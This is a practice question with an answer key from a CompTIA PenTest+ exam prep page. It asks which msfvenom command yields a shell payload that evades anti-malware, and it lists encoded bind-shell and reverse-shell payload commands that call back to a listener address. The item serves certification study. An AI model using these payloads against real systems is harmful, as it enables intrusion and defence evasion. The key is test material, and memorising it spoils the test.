PT0-003: CompTIA PenTest+Demo

Question

A penetration tester is preparing to add shellcode for a particular remote executable exploit. The tester wants to keep the payload from being blocked by anti-malware running on the target.

Which of the following commands should the tester use to gain shell access?

A msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST-10.10.10.100 LPORT-4444 EXITFUNC=none
D net user add /administrator | hexdump > payload

Explanation

To evade anti-malware detection, the payload must be obfuscated. The Shikata Ga Nai encoder in msfvenom polymorphically transforms the payload's binary representation, making simple signature-based detection difficult while preserving functionality. This is the only option that explicitly includes an encoding mechanism for anti-malware evasion.

PT0-003: CompTIA PenTest+Demo

AstroTutor

Notes

Readiness

QuestionQ266

Community Discussion